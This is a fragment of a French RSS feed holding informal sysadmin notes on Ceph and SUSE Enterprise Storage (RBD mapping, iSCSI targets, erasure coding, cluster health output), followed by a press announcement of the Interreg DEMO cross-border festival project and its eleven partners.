UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb / btrfs defaults 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/i386-pc btrfs subvol=@/boot/grub2/i386-pc 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/x86_64-efi btrfs subvol=@/boot/grub2/x86_64-efi 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /home btrfs subvol=@/home 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /opt btrfs subvol=@/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /srv btrfs subvol=@/srv 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /tmp btrfs subvol=@/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /usr/local btrfs subvol=@/usr/local 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/crash btrfs subvol=@/var/crash 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/libvirt/images btrfs subvol=@/var/lib/libvirt/images 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mailman btrfs subvol=@/var/lib/mailman 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mariadb btrfs subvol=@/var/lib/mariadb 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mysql btrfs subvol=@/var/lib/mysql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/named btrfs subvol=@/var/lib/named 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/pgsql btrfs subvol=@/var/lib/pgsql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/log btrfs subvol=@/var/log 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/opt btrfs subvol=@/var/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/spool btrfs subvol=@/var/spool 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/tmp btrfs subvol=@/var/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /.snapshots btrfs subvol=@/.snapshots 0 0 ses-admin:~ # rbd map -p block-pool --image block-storage /dev/rbd0 ses-admin:~ # rbd showmapped id pool image snap device 0 block-pool block-storage - /dev/rbd0 ses-admin:~ # ls /dev/rbd* /dev/rbd0 /dev/rbd: block-pool Snapshot sans overhead rbd snap (etc) Copy on write snapshot layering, i;age au for;at 2 obligatoirement mais les snapshots sont alors indispensables, i faut les proteger avec la fonction lock rfc3720 for iscsi json configurqtion quthenticqtion to iscsi authentication https://www.suse.com/docrep/documents/kgu61iyowz/suse_enterprise_storage_3_and_iscsi.pdf ses-node3:~ # targetcli ls o- / ..................................................................................................... [...] o- backstores .......................................................................................... [...] | o- fileio ............................................................................... [0 Storage Object] | o- iblock ............................................................................... [1 Storage Object] | | o- iscsi .................................................................. [/dev/rbd/rbd/iscsi activated] | o- pscsi ................................................................................ [0 Storage Object] | o- rbd .................................................................................. [0 Storage Object] | o- rd_mcp ............................................................................... [0 Storage Object] o- ib_srpt ....................................................................................... [0 Targets] o- iscsi .......................................................................................... [1 Target] | o- iqn.2003-01.org.linux-iscsi.ses-node3.x8664:sn.76494aa74ebc ..................................... [1 TPG] | o- tpg1 ........................................................................................ [enabled] | o- acls ....................................................................................... [0 ACLs] | o- luns ........................................................................................ [1 LUN] | | o- lun0 .......................................................... [iblock/iscsi (/dev/rbd/rbd/iscsi)] | o- portals .................................................................................. [1 Portal] | o- 192.168.100.13:3260 ........................................................... [OK, iser disabled] o- loopback ...................................................................................... [0 Targets] o- qla2xxx ....................................................................................... [0 Targets] o- tcm_fc ........................................................................................ [0 Targets] o- vhost ......................................................................................... [0 Targets] erasure code profile une sorte de qos pour econo;iser du reseau pour limiter les controles d integrite chaque erreur part dans une sorte de poubelle cephadm@ses-admin:~&gt; ceph osd erasure-code-profile get default k=2 m=1 plugin=jerasure technique=reed_sol_van exemple k+m (10+6), on peut perdre 6 sur 16 disks (totalite des disques) 10 disks requis prend 60% de capacite attention aux perf, se rapproche d un raid6 si erasure profile fixe, ne peut pas etre change utile sur des donnes chaudes/donnees froides/cout de stockage ceph status : look at placement group ex : recovering en bas de page monitor : health, mon quorum, osd status, pg status, full disk, nodes status =&gt; ceph health =&gt; ceph status cephadm@ses-admin:~&gt; ceph -w cluster 9a5b2edf-4d00-4b46-a010-3420d96450e5 health HEALTH_WARN too many PGs per OSD (408 &gt; max 300) monmap e3: 3 mons at {ses-node1=192.168.100.11:6789/0,ses-node2=192.168.100.12:6789/0,ses-node3=192.168.100.13:6789/0} election epoch 6, quorum 0,1,2 ses-node1,ses-node2,ses-node3 osdmap e57: 3 osds: 3 up, 3 in flags sortbitwise pgmap v3256: 408 pgs, 15 pools, 70949 kB data, 505 objects 322 MB used, 45724 MB / 46046 MB avail 408 active+clean ceph calamari backend, romana frontend inclus avec suse enterprise storage install calamari puis deploy --master monitoring-mode alaister@suse.com&lt;/textarea&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>
<item xml:lang="fr">
		<title>WELCOME TO DEMO ! Le projet europ&#195;&#169;en DEMO s&#195;&#169;lectionn&#195;&#169; dans le cadre d'Interreg V France-Wallonie-Vlaanderen</title>
		<link>http://www.coincoin.fr.eu.org/?WELCOME-TO-DEMO-Le-projet-europA-c</link>
		<guid isPermaLink="true">http://www.coincoin.fr.eu.org/?WELCOME-TO-DEMO-Le-projet-europA-c</guid>
		<dc:date>2016-04-28T19:42:33Z</dc:date>
		<dc:format>text/html</dc:format>
		<dc:language>fr</dc:language>
		<dc:creator>Olivier Duquesne aka DaffyDuke</dc:creator>



		<description>
&lt;p&gt;R&#233;sultat d'un travail commun entam&#233; en juin 2014, DEMO a &#233;t&#233; approuv&#233; parmi 216 projets comme apportant une r&#233;ponse concr&#232;te &#224; la probl&#233;matique &#171; Valoriser et d&#233;velopper de mani&#232;re innovante, cr&#233;ative et durable le patrimoine transfrontalier via le tourisme &#187;, sous la priorit&#233; &#171; Prot&#233;ger et valoriser l'environnement par une gestion int&#233;gr&#233;e des ressources transfrontali&#232;res &#187;. &lt;br class='autobr' /&gt;
Avec ce soutien, les partenaires souhaitent mettre en commun leurs moyens et leur ing&#233;nierie pour concevoir et (&#8230;)&lt;/p&gt;


-
&lt;a href="http://www.coincoin.fr.eu.org/?-6-Webographie-" rel="directory"&gt;6- Webographie&lt;/a&gt;


		</description>


 <content:encoded>&lt;div class='rss_texte'&gt;&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L150xH61/arton3719-0e639.png' width='' height=''
alt=&#034;PNG&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;R&#233;sultat d'un travail commun entam&#233; en juin 2014, DEMO a &#233;t&#233; approuv&#233; parmi 216 projets comme apportant une r&#233;ponse concr&#232;te &#224; la probl&#233;matique &#171; Valoriser et d&#233;velopper de mani&#232;re innovante, cr&#233;ative et durable le patrimoine transfrontalier via le tourisme &#187;, sous la priorit&#233; &#171; Prot&#233;ger et valoriser l'environnement par une gestion int&#233;gr&#233;e des ressources transfrontali&#232;res &#187;.&lt;/p&gt;
&lt;p&gt;Avec ce soutien, les partenaires souhaitent mettre en commun leurs moyens et leur ing&#233;nierie pour concevoir et tester des solutions innovantes et cr&#233;atives de valorisation durable du patrimoine culturel et naturel transfrontalier, dans le but de renforcer l'attractivit&#233; et le d&#233;veloppement durable du territoire et d'apporter sa contribution &#224; la strat&#233;gie Europe 2020 en cr&#233;ant des synergies entre le monde de la culture et du d&#233;veloppement durable.&lt;/p&gt;
&lt;p&gt;Les partenaires, pour certains forts de longues exp&#233;riences de coop&#233;ration transfrontali&#232;re, ont d&#233;montr&#233; la pertinence de DEMO et la coh&#233;rence de ses objectifs au regard de ceux du programme, dans une d&#233;marche in&#233;dite de collaboration transfrontali&#232;re ambitieuse et pluri-sectorielle, et ont fait valoir la richesse de leur diversit&#233;, l'&#233;tendue du prisme des activit&#233;s couvertes ainsi que la coh&#233;rence de leur implantation g&#233;ographique, de la Mer du Nord jusqu'aux for&#234;ts ardennaises.&lt;/p&gt;
&lt;p&gt;Les 11 partenaires du projet sont :&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Dour Festival, Dour, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Le Cabaret Vert, Charleville-M&#233;zi&#232;res, France&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;IeperFest, Ypres, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Le Grand Mix, Tourcoing, France&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Les 4Ecluses, Dunkerque, France&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;De Kreun, Courtrai, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;4AD, Dixmude, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Le centre culturel Ren&#233; Magritte, Lessines, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;Extracit&#233;, Lille, France&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;IDEA, Mons, Belgique&lt;/p&gt;
&lt;figure class='spip_documents spip_lien_ok'&gt;
&lt;img src='http://www.benevolat-grandmix.info/local/cache-vignettes/L8xH11/puce-32883.gif' width='' height=''
alt=&#034;GIF&#034; style='max-width: 640px;max-width: min(100%,640px); max-height: 10000px' /&gt;&lt;/a&gt;
&lt;figcaption&gt;
&lt;/figcaption&gt;
&lt;/figure&gt; &lt;p&gt;IMOG, Harelbeke, Belgique&lt;/p&gt;
&lt;p&gt;DEMO d&#233;butera d&#232;s avril 2016, pour une dur&#233;e de 4 ans.&lt;/p&gt;
&lt;p&gt;Une invitation &#224; l'&#233;v&#232;nement de lancement du projet DEMO vous sera prochainement adress&#233;e, au cours duquel le projet vous sera plus pr&#233;cis&#233;ment pr&#233;sent&#233;.&lt;/p&gt;
&lt;p&gt;Contact Mathieu Dauchy - Relations Publiques&lt;/p&gt;
&lt;p&gt;LE GRAND MIX&lt;/p&gt;
&lt;p&gt;72 rue Saint-Jacques, BP406&lt;/p&gt;
&lt;p&gt;59337 Tourcoing&lt;/p&gt;
&lt;p&gt;Tel. (+33) 03 20 70 02 33 / 06 77 16 96 99&lt;/p&gt;
&lt;p&gt;mathieu&lt;span class='mcrypt'&gt; chez &lt;/span&gt;legrandmix.com&lt;/p&gt;&lt;/div&gt;
		
		</content:encoded>


		

	</item>



</channel>

</rss>
